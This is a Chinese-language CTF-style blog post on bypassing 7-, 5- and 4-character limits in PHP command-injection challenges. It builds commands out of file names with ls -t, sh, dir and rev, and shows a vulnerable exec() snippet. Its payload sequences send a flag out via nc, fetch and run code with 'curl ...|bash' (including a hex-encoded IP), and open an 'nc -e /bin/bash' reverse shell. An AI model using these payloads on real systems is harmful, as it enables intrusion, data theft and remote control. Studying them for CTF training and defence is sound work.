命令执行中对字符长度限制的绕过解析

长度过滤绕过前置知识

>符号和>>符号
命令换行符
Is -t命令
sh命令
dir及*和rev命令

①>符号和>>符号

>符号会覆盖文本原有内容 # >a 可以直接创建a文件 类似于touch a

>>符号 追加内容

②命令换行符

等同于 cat a

③Is -t命令

将文件名按照时间顺序排列出来(只能精确到秒

ls -t >x   创建文件x 并且把ls -t执行结果写入到x里面

注:ls -t在拼接flag很重要

在命令执行中注意组合运用 比如用sh去读取x文件 从而达到读取flag的目的

!*注: 在遇到对命令执行有限制时 可以运用把一些很短的文件名拼接成可执行命令

④sh

从文件中读取目录

⑤dir及*和rev命令

dir:基本上和Is-样,但有两个好处:一是开头字母是d ,这使得它在alphabetical序中靠前:

二是按列输出,不换行。

$(dir *) 如果第一个文件名是命令的花 就会把目录中的第一个文件名当作命令参数来执行

也可以用*来代替

rev:可以反转文件中每一行的内容 (长度绕过会经常用到

长度为7的命令绕过解析

例题部分代码:

function filter($argv){    
$a = str_replace("/\*|\|/","=====",$argv); //禁用部分字符
    return $a;}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {   //限制长度
    exec(filter($_GET['cmd']));

Ps:若希望执行: cat flag|nc 192.168.2.128 7777注:需要提前在接收服务器中监听端口

步骤一: 创建文件 例如:

?cmd=>7777
?cmd=>\ \\
?cmd=>128\\
?cmd=>2.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\
?cmd=>t\ \\
?cmd=>ca\\

步骤二:将文件名按顺序写入到文件

?cmd=ls -t>a    //ls -t>a 刚好7个字符

步骤三: 将文件内容进行解析

?cmd=sh a
?cmd=. a

成功监听到

长度为5的命令绕过解析

例题部分代码:

if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {   //限制长度为5

对于长度为7的命令绕过希望执行的命令已经无法适用

可以使用 curl 192.168.1.161|bash

在服务器开启监听并且建立web服务, 在index.html写入需要执行的命令 例如nc 192.168.2.128 -e /bin/bash

步骤一:构造ls -t>y (因为限制长度为5 所以无法执行ls -t>y

则先创建文件ls\

再创建文件_ 并且把ls\写入到_文件中

#ls>_
#>\ \\
#>-t\\
#>\>y

用>>把所有文件名追加到文件_

#ls>>_

此时的文件_内容为

若执行 sh _ 则会执行 ls -t>y

步骤二:分解命令,创造文件

步骤三: 执行脚本sh

先执行 sh_ 相当于执行ls -t>y

再执行 sh y 相当于执行y文件中的内容:curl 192.168.1.161|bash

长度为4的命令绕过解析

例题部分代码:

if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4)

步骤一:构建ls -t>g

会用到dir * rev 所以构造应该是反序

可以在-t后面添加h 不影响命令执行,但是可以改变顺序

所以应该修改为:

然后执行 *>v

cat v 的内容为: g>ht- sl

rev v如何在限制为4的长度下执行:

创建哥rev文件 作为后续命令 执行过程为:

此处*为通配符, 前可以执行rev 后可以执行v

步骤二:构造一个反弹shell

curl 192.168.1.161|bash  ---> (进行16进制)  curl 0xC0A801A1|bash

相当于:↓

步骤三:反弹回来的shell查看flag

再本地搭建个web服务 index.html中写入想要执行的命令

如:nc 192.168.1.161 -e /bin/bash

接收curl端口需要开启监听端口

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值